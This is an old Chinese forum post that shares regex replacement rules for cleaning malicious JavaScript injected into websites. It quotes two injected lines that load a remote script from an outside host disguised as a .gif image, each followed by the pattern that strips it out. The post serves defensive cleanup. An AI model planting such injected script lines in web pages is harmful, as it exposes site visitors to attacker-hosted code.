[杀毒防毒] JS变量挂马替换规则分享

4 主題	0 回帖	0 積分

热心网友

金币: 0
閲讀權限: 220
精華: 0
威望: 0
贡献: 0
在線時間: 0 小時
註冊時間: 2010-3-18

發消息

發表於 2011-3-27 20:06:46 | 顯示全部樓層 |閲讀模式

网站木马清理专家全功能免费版：https://www.jb51.net/softs/12771.html
挂马内容如下：

程序代码
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?KRKJ><\/script>");

替换规则如下：

程序代码
@document\.writeln\("<script.*9966\.org.*\/script>"\)；

挂马内容如下：

程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?VINIJ></script>

替换规则如下：

程序代码
@<script[^<]*9966\.org[^<]*</script>

回覆

使用道具舉報

返回列表發新帖

[杀毒防毒] JS变量挂马替换规则分享

瀏覽過的版塊